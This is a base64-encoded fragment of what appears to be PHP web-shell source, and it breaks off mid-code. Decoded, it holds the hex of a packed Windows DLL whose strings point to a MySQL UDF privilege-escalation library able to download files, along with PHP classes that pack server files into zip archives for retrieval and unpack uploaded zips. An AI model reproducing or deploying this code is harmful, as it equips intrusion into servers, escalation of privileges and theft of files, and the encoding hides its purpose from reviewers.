zkyNDgzQUFGQjlCQkI1NkQ5MDRBMDA2NDAwMkMyMDREMjAwODZEQzlCREI5NzkwMDYzMkY2NDJGMDZENzREMDNGREI1MTc5QTQxNDRFRTY1NkQ2MjZCNUI0RTZGNzZDM0ZFNkQ5MzBCNEY5ODZGMEE1MzY1NzA3NDE0ODZBOTY4ODU0MTZDOTY3MTFCQkVFREY5Qjk0MTA3NkU2NTQxRjM2OUE2NEQxMDE2MzYxNzI3NjM2ODQ2NjUzMjc1MzNCREY3REU3QjRBNjE2RTBBNjc1RjU3NTM3QkFGN0JFRjRCNDc0MzM3Nzk0MzNGM0I2RUE5RDBERTMzMjNCMDNDNjQxOEIwRUQ1ODdCNEY1RTA5NTQ2ODEyNzMxM0Q5QzE1QTYxNTdCQzdDMEM1NDc1MDlCOUQ5QjFDNjREMjUxMDUzNzUwNzQzRjdERTdCRUYzQjM3MkYyNzIzMUYwMzlFNzNDRUI5MEExMTE4MUYyNjJEOUM3M0NFQzVBRjgyODk5MDk3OUU3MkNFMzlFN0E1QUNCM0JBQzFDOEE3ODAwODA0N0MyOEJCOTI5NzUwNDNCRDM4NEYyOTYzNjBBOTUyM0Y0RDc5NzM3MTkwOTYyMEE5NTNBNjM2MzA2RUMyNjNCNTBCMzU1QTZBMDlBNjYzQjdCOTIxRTc2QTM3NTJDMDc3MDM1QzMyMTcwM0FCQ0Y5MUZCMkU3NDZENzAwRkI0MDYwMEI2NDcyQTQ4MUQzQTJDN0VCNTNEMjVFNEU2RkZEQjczMEEyRjYzNkQ2NDJFNjU3ODY1MjAyRjYzMjAwMDY4NjU2QzU1MTkyQjc1MzEzNzc0MDczOTY3RkY3NkI2RTQzODBCMzAwNjY4NzQ3NDcwM0EyRjJGOEYyREY1RkYyRUQ5NjMyRDlCMDlDQUU0QzhFQkI4RjFDQUJEQjRFRENFRjNGRkMzRkU2RjEyMEQwMENGQzJENEQ4Q0FBN0IwREMwQkNFQzRCQ0ZFQjNDOUI5QTZGNkRDRTZGRTIxQzJCN0JFQjZBM0JBN0UxNzVDM0Y0NDg2N0I4MUQxMEYwMDIwMDU5MzE5NTczMUQ5MTMxOTlERTQ2NjcyNzFGMDEwOERFODgzMjExOUIyMTc4RTE4MEYzMDQzNEU1MTQ2QzJGODAzOTIwMTdCRDg5NEEwMDcwMTAxNTMxMDdDODFBNEI5MDIwMTFGMDI2NDQxMDE1MjQ3NjM1N0Q5RDkwNzBBMkYwMjA3NzQzQ0YyRTRDOTZDMDg0MDA5MTQwQTczRjAxMDkzMjc0RjlFQzQxMTk0MTI3MDEzM0M3OUU0Qzk0NDE4MEMxOTcyRTQxQUFDMUI5MzI3NEY5RTc0MUM0Qzc4M0M3OTZFRjJFNEM5MkM3QTFDRkMxOEZGODZCMjkzMTdEODU0REQwMzg1NzIyMDAxMDc0MDI2OTkyODIwNDgwMDE5NDAyNjkyMTA4NDEwMDIxOTkwMDk4MTAxMTk5MDAxMTkxMDgyMDI2MDFDMTYwMjNCMjBFRjIwMEQwQzA1MDEzMzE2NEREMzBDMzYwMzA3MDQxODA1MEQzNDRERDMzNDA2MDkwNzBDMDgzMkQ4MjA4MzA5MEExQjBCQzFCRUY3MDI1NzNCMDcwRjU3NUY5MDZFQjAxMDEzMTEwMzEyMTcyMTBDMzJEODIwMzUwRjQxNDMzNkQ4NjA4MzUwMzM1MjE3NTMwN0Q4NjA4MzBENTc1RjU5N0I2QzE3RDIzNDREMzc2REFCMjA3MDFDNzJEODYwREYwQkM3MkY4MEIzODEwNzYwODMwQzM2ODIxRjgzODQ4RjIwODMzNENEOTEyOTlFQTE4MzBEMzJEOEE0NkZBN0I3OUZDRTc2MEVDMjYwMUZENzBCMTgwNzAwNjlCRUIzNUQwNTE3QzAwQjFEMDQ5MDY2NDAwNjk2OEQwODY0NDAwNjY0OEU4RjkwMDY2NDQwMDY5MTkyOTNDQzA2NjE0MDAzOUY3OEVGNEQ1NEVDMjVGRjAyMDQyMjJCNjAyN0NGMEVGNjgyNzk4MjIxMTdBNkRGMDdBMUE1ODFFOUNERjNFRjlGRTBGQzJGNDA3RTgwRkNBOEMxQTNEQUEzNEYwRDcyRjYwODgxRkUwNzQwQjU3NzgzMEM4MTJGNDFCNjVGQ0ZBMkU0M0U1RjIxRkZBMjFBMDBFNUEyRThBMjVCN0VBMUZFNTEwNUJGOTJERkVFMDNEQTVFREE1RjVGREE2QURBMzJEM0Q4REVFMEIyNjYyN0I3RjkzOTMxN0U0MzAzMDM4NjAwNjRBQTQzMkVFOTlFOUM4NDUzOEI5ODc2ODQwMzgwQTY2OTlBQTY3Qzc4NzQ3MDZDOUFBNjY5OUE2NDVDNTQ0ODNDMzQ2OTlBQTY2OTI4MjQyMDFDMThBNjY5OUFBNjE0MTAwQzA4MDQ0REQzMzQ5NzAwNzVGQ0Y4RjBFNERDQTZFOTlFMzVENDJGNzVDQzAzQzRCQzlBQTY2OTlBQjBBODlDOTA4Qzg4NDlCRUE2Njk4MDZDNjRDRDJFODIxRDY1QkI4QzhGOTA1QzAzN0YwMDlFRjA0MEU4MkY1MDBCODA3MDA3RjBGMTEzMjVEQ0EwRDE1MzU0OTk1MDhCREQ1MEM5NDQ1NDhDRjM4Q0RDOTdCMDU4NTkyQ0E3QkYwNjY5OUEwRTFFRUYzQjVBOTc3NUE3NjlCQUE3QjVENEYzRTAzMDFBQjg2Q0QzMDM0RTZEMDEzMzNBQjc1OTY5OUFBNjY5Nzc5NkI0RDNGMjBDREE3NEREMjcyRjAzNEQ2QzAxRjEwOEE0ODAwODM2ODAyNDQ0NDE0NDIxMDk4MEQxMDk2MDAwNjRDMTVCMDU0RDczNDMyNTc0NjU1NEI2Q0JCNzU3MkMwRDQ0NjU2QzY1NDY2OTA1NDEwQTEwNUZEQjBDNDcwQTA5NTNDNUQ4NzM5M0NEMjcxOTUyMkMwQTIzRUM0RjU2QzE0NTE4NTY2MTcyNjk2MTYyMjIxMkMwRUM3RjQzNkM2RjczNjU0ODYxNkU2NDI1RjYyQUQ4MEU0QjRBNTAwQjYzNDE3QjdCNTY2ODY3NTM3OTFENjU2RDQ0NDdCN0MxQjY1NkY1MjI3OTE0NzQ0RTc0NzUxNUI4OTNGRDcwNDk2RTY2NkY0MTM1Njk3MDRGQjFEQkQ2MkVBODQ1NzgyQTA4NTM1RDY1NzAyQ0ZCMzZDQ0ZENTY2NTcyNzM2OTZGMTYzQjg5NkU2NzU0NzkyRDY3REY4NTZDNTcwRjFGNEM0MzRENjE3MDExNTcwNjg4MkU2MTBEMUI0RDcwNzNFRDVCQzM0Mjc5MTI2RjY1NjQ2NTQzNjg4MzY2RTVBQkEwM0RGQjY0NEY2NkYzNEM2RkZEOEU2QjY4RkYzMDBCNzQ2QzU1NkU3NzNDM0Q0OEQ3NjdFREFDN0M3MDQxNkM2QzBBNDZCMUZCNDMyRDdCOUJFMTZGNkQ2RDA5MzM2RTdEQUNCMzg1NTY5ODI2NzNGQjBCNzkwQ0M1ODBEODY2RTUwQjU2QURCNTIxNDE5QzQyNDk0RDFFMjYzQ0MzRDYwOTYzMEE1MzI3NDBCMDI5REJEQUNBMTZBRDE0NzIxNTQyMUJDMEI2NEM1Qjc2MkI3ODEwOEM4NTgwMjUwQjc3QzVFQjg0MDdDNDYwMEM1NDJGQjk5OEExNzBCNkRBNzVEM0Y4MTJEQ0REMzMwMjUyNDk2NDM4NkM3MzUzRjNCMzM3OEJERDU1NzU2NTBDNEYwOURFNEJEMjI1OEM1MzFEMkQ0NzFBMDg2RDYxODY0MzQyNzU1MkM5M0IyNDYzMzY2NDEyQTBENTBDQzM2MzE0MUU0RDZGNjRCREEzNEU2MTZENkEzQjIxNjBCQzVGOUVFNDczMTgzMDA0NDcwQTBDRjNDQTY2MjRBM0ZEMDhFNDJDQ0ZGMDQyNTgxNjQzNjE4NTNCMUNGRTY2QkYwODUwNkY2OTkwQzkwNkMyNUVGOTlERkQ2QjY1NjQ0NDY1NjMzODE1QzI4NDRENzI0OTZFNTNFQjQ2MEYzQUMxRjFFRjczNjg0QjQyNzU2NjY2M0U2QTUwRUNCMTM2NzYxQzBBNDEwQjA3NEY0NTREMDkyQzE5RkUxMDkzNDE2NDY0NzI5N0VGN0QyODQxQkNEOTNDNzE1NTUyNEM0NDBBNUJBNDY2ODI3N0UzQ0UxQzg4RjZGNkZFMzQwNDU3NTM0MTUzODY0RDAwRkYwNDAyQ0JCMjJDQ0IxNzM5MDMzNDA5MEM4RDMyQjYyQzBCMDIyNjQ5RjdGRjdGQUU2RDBDMTAwMjVDMDAwQTA1MkYwQTUyMDU1NDY0MTczNTBCREZGRUZGRkY4MTE5MTIxOTJBMDYwQjJBMzg1MzE5MzEwQjMyMEQxQjgwNjUxMkVEMjQwNTY3MEIzMDEwMEYxQ0ZGRkZGRkZGMUIxQjk2MTMwQjUzMEIxQzQ1NTQwNTQwMDY0NTE3MTEwNjE4MEExMTgxNDUxMTBCNEMzMTA1MjY1MzBGN0QxQ0ZCQTVGRkZGMDc4QjEyMTQwNTBCMTIxQjI3MUExMjQxNjkxQTA5RjA0QkY4M0EwNkYwNTIwMTAzQkZGREZGN0YwODAyMDcwRjA4MEIwNjA2MEExODA1MEExQTBFMDgwNjQzMTI1QzFCNEY1OTA4NUEwREEzN0RGNjZGRkYwRjE2RjAzMDAxQkFGMDBBRjYyMTE3NzVGMEM4MDIwNDAwQ0UyRDA3RTZFREVEQkY1RjEwMDcwNzA4MjcwQzBBMDgzMDBBMDYwODA1MEMwNTBDQkZCNUZGQkIxNjAzMDgxMzA4MkQxQjEwMDYwRjA2MDcwOTIxQUUwOEYwNEYwMjBFNkJCRkI1RUQwNjFBMDUwRjEwN0VBMjA2MDUwNjBEMUQxNTM0OUJGQkY2OUIyMjQ0QTZGMEVEMDEyMDEzMDYxNjA3MEYxODEwRkJGRkRCREIwOTFBNTcxMzYyQTk4NTBFMEIxNDA2MEUwOTExMUMwRjEyMDkxQzIzMEEwM0ZGRkZGRkJGMEMxMzdGMEExQ0YwRjIwMDA3MTk0MjEyMzEwQzBCMEYwQUYwMDMwMkYwNEQwMTJDMEMxQzE5MUEwODExRjZFRDVCRkIwNTBEMDVGMDA1NDlCRjA1MzgwQzA3NTcwNzBBMTkwODhFREJBREZEREIwNTY2M0EwODFBMDYxMTE5MEM3MTEzMDgxRTA5MTdGNkZGMEI2RjE3NjIxODA2NDIyMjE0MzIwNzE1MzIwQTIxMTUyNDJBMEUzMTFDRjZERjZFRkYyMTI1MEYwRjMyMTA0M0NCMTQwRTQ3MDY1QjA3NDg0NUUzMTkzNTM5REJERjZFRkYwQzEwM0Y1MDEzM0UxMjgyMjYwRDhFMTMyNzBGNDIxNDFFNkQxNTdDRkJGRjZGQUEwRTEzNzcwRDI1MUMxMzc0QTA0RDE4MTU0QTQ4MTcxMkUzMDg0QjI1MTI4NDJGNkMyRjQ3NTUwMTE4RUYwNTFEMjkyNjFBMDcyODQyRUVERTFENEEwNjA0NjYwQjFCMDcxNjFEMkEzMkZGQjdCNzdGNzIyODA2MEMzQjA4Mjk3MTBEMEMyMzRGNjAzOTE1MEQzRDIyMDg0QzBGMTk2MTVCRkJGRjI2MkUwRjIwMjIyRDE0M0EwNzI2MTgxQTBCODNBNjdDNTZEQkZGRkYxMzhBRjBGQjAwNzkwQzE1MEIyRUYwRDkwMTFDMEQwRDEzMDkwQzMyQzIyMUI3NjY3OEUxMDYyMTBBMUQwODE3MTVBOTE5RTgwQjBBRkJERjBBMEI2RTQzMkMwMDE5MDY2RjA2MUUxMTEzMTUxRUY5NTA2ODg1N0YxMDIxMEMxMjBFMEYxMTc1OTY0N0JGRjAwQkNEQjg1QzdFRjA1NjAxMUU1NTBGMEFDNjBBODkwNTBCRkZCRkI1MUY0QzM1MDgwRTFFMUQxODIwNTgxNjMzNjgyNTQ2MDUwMzA3MTdGRUFENkRGQzEwM0QxMDU2MTJGMDNFMDFFQzQ4QjI0RjMwQkQ3MUUxQjc1QjA0NUUyRjBGNTgzOEVBM0M3RDM4MTAwNDBDRkI3NkYzODMwMUYwQjQwMzA0MDhGMEFDMEEwREYwMTQwMTA0MTdDODkxNUQ3RTIwMTAxMDg0MDgwMjA4MDAwNDY0NTMyMDNGRjAyNDA2MDgwNDEwMDlGOTJGNzFFOTBDOUM2NDUwNDVBNTRDMDEwNDAwQjI5NzZBNDZBQTRFRjkwRkUwMDAwRTIxMEIwMTA2MjY0QjAwNEYyNkE5MjQ0MTEwQkRFQzNDRkIwOTEwMEYwNDAwMDcwMEQwQjIzN0U5ODIyNzJBMDIwMjA3OUI2RDdFRDgxRThEMDAwMDcxQzg4NjYyMDI4NUI5NjUwQUMwNjQ4QTAwMkI4Q0FBNEJBNzQ0QjAxMDBDNzZGOTJFNzQ2NTc4NzQ0NjYxOTA3MEUyQUQyQTY1NzRDRDYwMkU3MjEyNjY5RDJCQzFBQjBENTMwM0ZCNUU3M0Q5MDI0MDJFMjZDRjI0MjdCNjI5MTlBNDkwOTBDMDRGNjUxOUVDNkIwRjdENTg0RkMwMjdBMDZGNkVCRjI5NDIxQjVDODgxMDUxQzQ4OUM3MDAwMDAwMDAwMDAwMDA4MDA0MDBGRjAwODA3QzI0MDgwMTBGODVDMjAxMDAwMDYwQkUwMEEwMDAxMDhEQkUwMDcwRkZGRjU3ODNDREZGRUIwRDkwOTA5MDhBMDY0Njg4MDc0NzAxREI3NTA3OEIxRTgzRUVGQzExREI3MkVEQjgwMTAwMDAwMDAxREI3NTA3OEIxRTgzRUVGQzExREIxMUMwMDFEQjczRUY3NTA5OEIxRTgzRUVGQzExREI3M0U0MzFDOTgzRTgwMzcyMERDMUUwMDg4QTA2NDY4M0YwRkY3NDc0ODlDNTAxREI3NTA3OEIxRTgzRUVGQzExREIxMUM5MDFEQjc1MDc4QjFFODNFRUZDMTFEQjExQzk3NTIwNDEwMURCNzUwNzhCMUU4M0VFRkMxMURCMTFDOTAxREI3M0VGNzUwOThCMUU4M0VFRkMxMURCNzNFNDgzQzEwMjgxRkQwMEYzRkZGRjgzRDEwMThEMTQyRjgzRkRGQzc2MEY4QTAyNDI4ODA3NDc0OTc1RjdFOTYzRkZGRkZGOTA4QjAyODNDMjA0ODkwNzgzQzcwNDgzRTkwNDc3RjEwMUNGRTk0Q0ZGRkZGRjVFODlGN0I5OTYwMTAwMDA4QTA3NDcyQ0U4M0MwMTc3Rjc4MDNGMEE3NUYyOEIwNzhBNUYwNDY2QzFFODA4QzFDMDEwODZDNDI5Rjg4MEVCRTgwMUYwODkwNzgzQzcwNTg4RDhFMkQ5OERCRTAwQzAwMDAwOEIwNzA5QzA3NDQ1OEI1RjA0OEQ4NDMwMDBFMDAwMDAwMUYzNTA4M0M3MDhGRjk2NTBFMDAwMDA5NThBMDc0NzA4QzA3NERDODlGOTc5MDcwRkI3MDc0NzUwNDdCOTU3NDhGMkFFNTVGRjk2NTRFMDAwMDAwOUMwNzQwNzg5MDM4M0MzMDRFQkQ4NjEzMUMwQzIwQzAwODNDNzA0OEQ1RUZDMzFDMDhBMDc0NzA5QzA3NDIyM0NFRjc3MTEwMUMzOEIwMzg2QzRDMUMwMTA4NkM0MDFGMDg5MDNFQkUyMjQwRkMxRTAxMDY2OEIwNzgzQzcwMkVCRTI4QkFFNThFMDAwMDA4REJFMDBGMEZGRkZCQjAwMTAwMDAwNTA1NDZBMDQ1MzU3RkZENThEODdGRjAxMDAwMDgwMjA3RjgwNjAyODdGNTg1MDU0NTA1MzU3RkZENTU4NjE4RDQ0MjQ4MDZBMDAzOUM0NzVGQTgzRUM4MEU5QzczQ0ZGRkYwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA3MEYwMDAwMDUwRjAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwN0RGMDAwMDA2MEYwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDg4RjAwMDAwNjhGMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwOTJGMDAwMDBBMEYwMDAwMEIwRjAwMDAwMDAwMDAwMDBDMEYwMDAwMDAwMDAwMDAwNzMwMDAwODAwMDAwMDAwMDRCNDU1MjRFNDU0QzMzMzIyRTQ0NEM0QzAwNzU3MjZDNkQ2RjZFMkU2NDZDNkMwMDU3NTMzMjVGMzMzMjJFNjQ2QzZDMDAwMDRDNkY2MTY0NEM2OTYyNzI2MTcyNzk0MTAwMDA0NzY1NzQ1MDcyNkY2MzQxNjQ2NDcyNjU3MzczMDAwMDU2Njk3Mjc0NzU2MTZDNTA3MjZGNzQ2NTYzNzQwMDAwNTU1MjRDNDQ2Rjc3NkU2QzZGNjE2NDU0NkY0NjY5NkM2NTQxMDAwMDAwMDAwMDAwMDAwMEIxOTc2QTQ2MDAwMDAwMDAxRUYxMDAwMDAxMDAwMDAwMDMwMDAwMDAwMzAwMDAwMDAwRjEwMDAwMENGMTAwMDAxOEYxMDAwMDkwMTAwMDAwOTAxNTAwMDA4MDEwMDAwMDJCRjEwMDAwMzFGMTAwMDAzRUYxMDAwMDAwMDAwMTAwMDIwMDZENzk3MzcxNkM0NDZDNkMyRTY0NkM2QzAwNzM3NDYxNzQ2NTAwNzM3NDYxNzQ2NTVGNjQ2NTY5NkU2OTc0MDA3Mzc0NjE3NDY1NUY2OTZFNjk3NDAwMDAwMDAwMDBFMDAwMDAwQzAwMDAwMDFEMzYwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwIjsKfQogCgoKY2xhc3MgZWFudmVyewp2YXIgJG91dD0nJzsKZnVuY3Rpb24gZWFudmVyKCRkaXIpewoJaWYoQGZ1bmN0aW9uX2V4aXN0cygnZ3pjb21wcmVzcycpKXsKCWlmKGNvdW50KCRkaXIpID4gMCl7Cglmb3JlYWNoKCRkaXIgYXMgJGZpbGUpewoJCWlmKGlzX2ZpbGUoJGZpbGUpKXsKCQkJJGZpbGVjb2RlID0gZmlsZV9nZXRfY29udGVudHMoJGZpbGUpOwoJCQlpZihpc19hcnJheSgkZGlyKSkgJGZpbGUgPSBiYXNlbmFtZSgkZmlsZSk7CgkJCSR0aGlzIC0+IGZpbGV6aXAoJGZpbGVjb2RlLCRmaWxlKTsKCQl9Cgl9CgkkdGhpcy0+b3V0ID0gJHRoaXMgLT4gcGFja2ZpbGUoKTsKCX0KCXJldHVybiB0cnVlOwoJfQoJZWxzZSByZXR1cm4gZmFsc2U7Cn0KCXZhciAkZGF0YXNlYyAgICAgID0gYXJyYXkoKTsKCXZhciAkY3RybF9kaXIgICAgID0gYXJyYXkoKTsKCXZhciAkZW9mX2N0cmxfZGlyID0gIlx4NTBceDRiXHgwNVx4MDZceDAwXHgwMFx4MDBceDAwIjsKCXZhciAkb2xkX29mZnNldCAgID0gMDsKCWZ1bmN0aW9uIGF0KCRhdHVuaXggPSAwKSB7CgkJJHVuaXhhcnIgPSAoJGF0dW5peCA9PSAwKSA/IGdldGRhdGUoKSA6IGdldGRhdGUoJGF0dW5peCk7CgkJaWYgKCR1bml4YXJyWyd5ZWFyJ10gPCAxOTgwKSB7CgkJCSR1bml4YXJyWyd5ZWFyJ10gICAgPSAxOTgwOwoJCQkkdW5peGFyclsnbW9uJ10gICAgID0gMTsKCQkJJHVuaXhhcnJbJ21kYXknXSAgICA9IDE7CgkJCSR1bml4YXJyWydob3VycyddICAgPSAwOwoJCQkkdW5peGFyclsnbWludXRlcyddID0gMDsKCQkJJHVuaXhhcnJbJ3NlY29uZHMnXSA9IDA7CgkJfSAKCQlyZXR1cm4gKCgkdW5peGFyclsneWVhciddIC0gMTk4MCkgPDwgMjUpIHwgKCR1bml4YXJyWydtb24nXSA8PCAyMSkgfCAoJHVuaXhhcnJbJ21kYXknXSA8PCAxNikgfAoJCQkJKCR1bml4YXJyWydob3VycyddIDw8IDExKSB8ICgkdW5peGFyclsnbWludXRlcyddIDw8IDUpIHwgKCR1bml4YXJyWydzZWNvbmRzJ10gPj4gMSk7Cgl9CglmdW5jdGlvbiBmaWxlemlwKCRkYXRhLCAkbmFtZSwgJHRpbWUgPSAwKSB7CgkJJG5hbWUgPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsICRuYW1lKTsKCQkkZHRpbWUgPSBkZWNoZXgoJHRoaXMtPmF0KCR0aW1lKSk7CgkJJGhleGR0aW1lCT0gJ1x4JyAuICRkdGltZVs2XSAuICRkdGltZVs3XQoJCQkJCS4gJ1x4JyAuICRkdGltZVs0XSAuICRkdGltZVs1XQoJCQkJCS4gJ1x4JyAuICRkdGltZVsyXSAuICRkdGltZVszXQoJCQkJCS4gJ1x4JyAuICRkdGltZVswXSAuICRkdGltZVsxXTsKCQlldmFsKCckaGV4ZHRpbWUgPSAiJyAuICRoZXhkdGltZSAuICciOycpOwoJCSRmcgk9ICJceDUwXHg0Ylx4MDNceDA0IjsKCQkkZnIJLj0gIlx4MTRceDAwIjsKCQkkZnIJLj0gIlx4MDBceDAwIjsKCQkkZnIJLj0gIlx4MDhceDAwIjsKCQkkZnIJLj0gJGhleGR0aW1lOwoJCSR1bmNfbGVuID0gc3RybGVuKCRkYXRhKTsKCQkkY3JjID0gY3JjMzIoJGRhdGEpOwoJCSR6ZGF0YSA9IGd6Y29tcHJlc3MoJGRhdGEpOwoJCSRjX2xlbiA9IHN0cmxlbigkemRhdGEpOwoJCSR6ZGF0YSA9IHN1YnN0cihzdWJzdHIoJHpkYXRhLCAwLCBzdHJsZW4oJHpkYXRhKSAtIDQpLCAyKTsKCQkkZnIgLj0gcGFjaygnVicsICRjcmMpOwoJCSRmciAuPSBwYWNrKCdWJywgJGNfbGVuKTsKCQkkZnIgLj0gcGFjaygnVicsICR1bmNfbGVuKTsKCQkkZnIgLj0gcGFjaygndicsIHN0cmxlbigkbmFtZSkpOwoJCSRmciAuPSBwYWNrKCd2JywgMCk7CgkJJGZyIC49ICRuYW1lOwoJCSRmciAuPSAkemRhdGE7CgkJJGZyIC49IHBhY2soJ1YnLCAkY3JjKTsKCQkkZnIgLj0gcGFjaygnVicsICRjX2xlbik7CgkJJGZyIC49IHBhY2soJ1YnLCAkdW5jX2xlbik7CgkJJHRoaXMgLT4gZGF0YXNlY1tdID0gJGZyOwoJCSRuZXdfb2Zmc2V0ID0gc3RybGVuKGltcGxvZGUoJycsICR0aGlzLT5kYXRhc2VjKSk7CgkJJGNkcmVjID0gIlx4NTBceDRiXHgwMVx4MDIiOwoJCSRjZHJlYyAuPSAiXHgwMFx4MDAiOwoJCSRjZHJlYyAuPSAiXHgxNFx4MDAiOwoJCSRjZHJlYyAuPSAiXHgwMFx4MDAiOwoJCSRjZHJlYyAuPSAiXHgwOFx4MDAiOwoJCSRjZHJlYyAuPSAkaGV4ZHRpbWU7CgkJJGNkcmVjIC49IHBhY2soJ1YnLCAkY3JjKTsKCQkkY2RyZWMgLj0gcGFjaygnVicsICRjX2xlbik7CgkJJGNkcmVjIC49IHBhY2soJ1YnLCAkdW5jX2xlbik7CgkJJGNkcmVjIC49IHBhY2soJ3YnLCBzdHJsZW4oJG5hbWUpICk7CgkJJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7CgkJJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7CgkJJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7CgkJJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7CgkJJGNkcmVjIC49IHBhY2soJ1YnLCAzMiApOwoJCSRjZHJlYyAuPSBwYWNrKCdWJywgJHRoaXMgLT4gb2xkX29mZnNldCApOwoJCSR0aGlzIC0+IG9sZF9vZmZzZXQgPSAkbmV3X29mZnNldDsKCQkkY2RyZWMgLj0gJG5hbWU7CgkJJHRoaXMgLT4gY3RybF9kaXJbXSA9ICRjZHJlYzsKCX0KCWZ1bmN0aW9uIHBhY2tmaWxlKCl7CgkJJGRhdGEgICAgPSBpbXBsb2RlKCcnLCAkdGhpcyAtPiBkYXRhc2VjKTsKCQkkY3RybGRpciA9IGltcGxvZGUoJycsICR0aGlzIC0+IGN0cmxfZGlyKTsKCQlyZXR1cm4gJGRhdGEuJGN0cmxkaXIuJHRoaXMgLT4gZW9mX2N0cmxfZGlyLnBhY2soJ3YnLCBzaXplb2YoJHRoaXMgLT4gY3RybF9kaXIpKS5wYWNrKCd2Jywgc2l6ZW9mKCR0aGlzIC0+IGN0cmxfZGlyKSkucGFjaygnVicsIHN0cmxlbigkY3RybGRpcikpLnBhY2soJ1YnLCBzdHJsZW4oJGRhdGEpKS4iXHgwMFx4MDAiOwoJfQp9CgpjbGFzcyB6aXAKewoKIHZhciAkdG90YWxfZmlsZXMgPSAwOwogdmFyICR0b3RhbF9mb2xkZXJzID0gMDsgCgogZnVuY3Rpb24gRXh0cmFjdCAoICR6biwgJHRvLCAkaW5kZXggPSBBcnJheSgtMSkgKQogewogICAkb2sgPSAwOyAkemlwID0gQGZvcGVuKCR6biwncmInKTsKICAgaWYoISR6aXApIHJldHVybigtMSk7CiAgICRjZGlyID0gJHRoaXMtPlJlYWRDZW50cmFsRGlyKCR6aXAsJHpuKTsKICAgJHBvc19lbnRyeSA9ICRjZGlyWydvZmZzZXQnXTsKCiAgIGlmKCFpc19hcnJheSgkaW5kZXgpKXsgJGluZGV4ID0gYXJyYXkoJGluZGV4KTsgIH0KICAgZm9yKCRpPTA7ICRpbmRleFskaV07JGkrKyl7CiAgIAkJaWYoaW50dmFsKCRpbmRleFskaV0pIT0kaW5kZXhbJGldfHwkaW5kZXhbJGldPiRjZGlyWydlbnRyaWVzJ10pCgkJcmV0dXJuKC0xKTsKICAgfQogICBmb3IgKCRpPTA7ICRpPCRjZGlyWydlbnRyaWVzJ107ICRpKyspCiAgIHsKICAgICBAZnNlZWsoJHppcCwgJHBvc19lbnRyeSk7CiAgICAgJGhlYWRlciA9ICR0aGlzLT5SZWFkQ2VudHJhbEZpbGVIZWFkZXJzKCR6aXApOwogICAgICRoZWFkZXJbJ2luZGV4J10gPSAkaTsgJHBvc19lbnRyeSA9IGZ0ZWxsKCR6aXApOwogICAgIEByZXdpbmQoJHppcCk7IGZzZWVrKCR6aXAsICRoZWFkZXJbJ29mZnNldCddKTsKICAgICBpZihpbl9hcnJheSgiLTEiLCRpbmRleCl8fGluX2FycmF5KCRpLCRpbmRleCkpCiAgICAgCSRzdGF0WyRoZWFkZXJbJ2ZpbGVuYW1lJ11dPSR0aGlzLT5FeHRyYWN0RmlsZSgkaGVhZGVyLCAkdG8sICR6aXApOwogICB9CiAgIGZjbG9zZSgkemlwKTsKICAgcmV0dXJuICRzdGF0OwogfQoKICBmdW5jdGlvbiBSZWFkRmlsZUhlYWRlcigkemlwKQogIHsKICAgICRiaW5hcnlfZGF0YSA9IGZyZWFkKCR6aXAsIDMwKTsKICAgICRkYXRhID0gdW5wYWNrKCd2Y2hrL3ZpZC92dmVyc2lvbi92ZmxhZy92Y29tcHJlc3Npb24vdm10aW1lL3ZtZGF0ZS9WY3JjL1Zjb21wcmVzc2VkX3NpemUvVnNpemUvdmZpbGVuYW1lX2xlbi92ZXh0cmFfbGVuJywgJGJpbmFyeV9kYXRhKTsKCiAgICAkaGVhZGVyWydmaWxlbmFtZSddID0gZnJlYWQoJHppcCwgJGRhdGFbJ2ZpbGVuYW1lX2xlbiddKTsKICAgIGlmICgkZGF0YVsnZXh0cmFfbGVuJ10gIT0gMCkgewogICAgICAkaGVhZGVyWydleHRyYSddID0gZnJlYWQoJHppcCwgJGRhdGFbJ2V4dHJhX2xlbiddKTsKICAgIH0gZWxzZSB7ICRoZWFkZXJbJ2V4dHJhJ10gPSAnJzsgfQoKICAgICRoZWFkZXJbJ2NvbXByZXNzaW9uJ10gPSAkZGF0YVsnY29tcHJlc3Npb24nXTskaGVhZGVyWydzaXplJ10gPSAkZGF0YVsnc2l6ZSddOwogICAgJGhlYWRlclsnY29tcHJlc3NlZF9zaXplJ10gPSAkZGF0YVsnY29tcHJlc3NlZF9zaXplJ107CiAgICAkaGVhZGVyWydjcmMnXSA9ICRkYXRhWydjcmMnXTsgJGhlYWRlclsnZmxhZyddID0gJGRhdGFbJ2ZsYWcnXTsKICAgICRoZWFkZXJbJ21kYXRlJ10gPSAkZGF0YVsnbWRhdGUnXTskaGVhZGVyWydtdGltZSddID0gJGRhdGFbJ210aW1lJ107CgogICAgaWYgKCRoZWFkZXJbJ21kYXRlJ10gJiYgJGhlYWRlclsnbXRpbWUnXSl7CiAgICAgJGhvdXI9KCRoZWFkZXJbJ210aW1lJ10mMHhGODAwKT4+MTE7JG1pbnV0ZT0oJGhlYWRlclsnbXRpbWUnXSYweDA3RTApPj41OwogICAgICRzZWNvbmRlPSgkaGVhZGVyWydtdGltZSddJjB4MDAxRikqMjskeWVhcj0oKCRoZWFkZXJbJ21kYXRl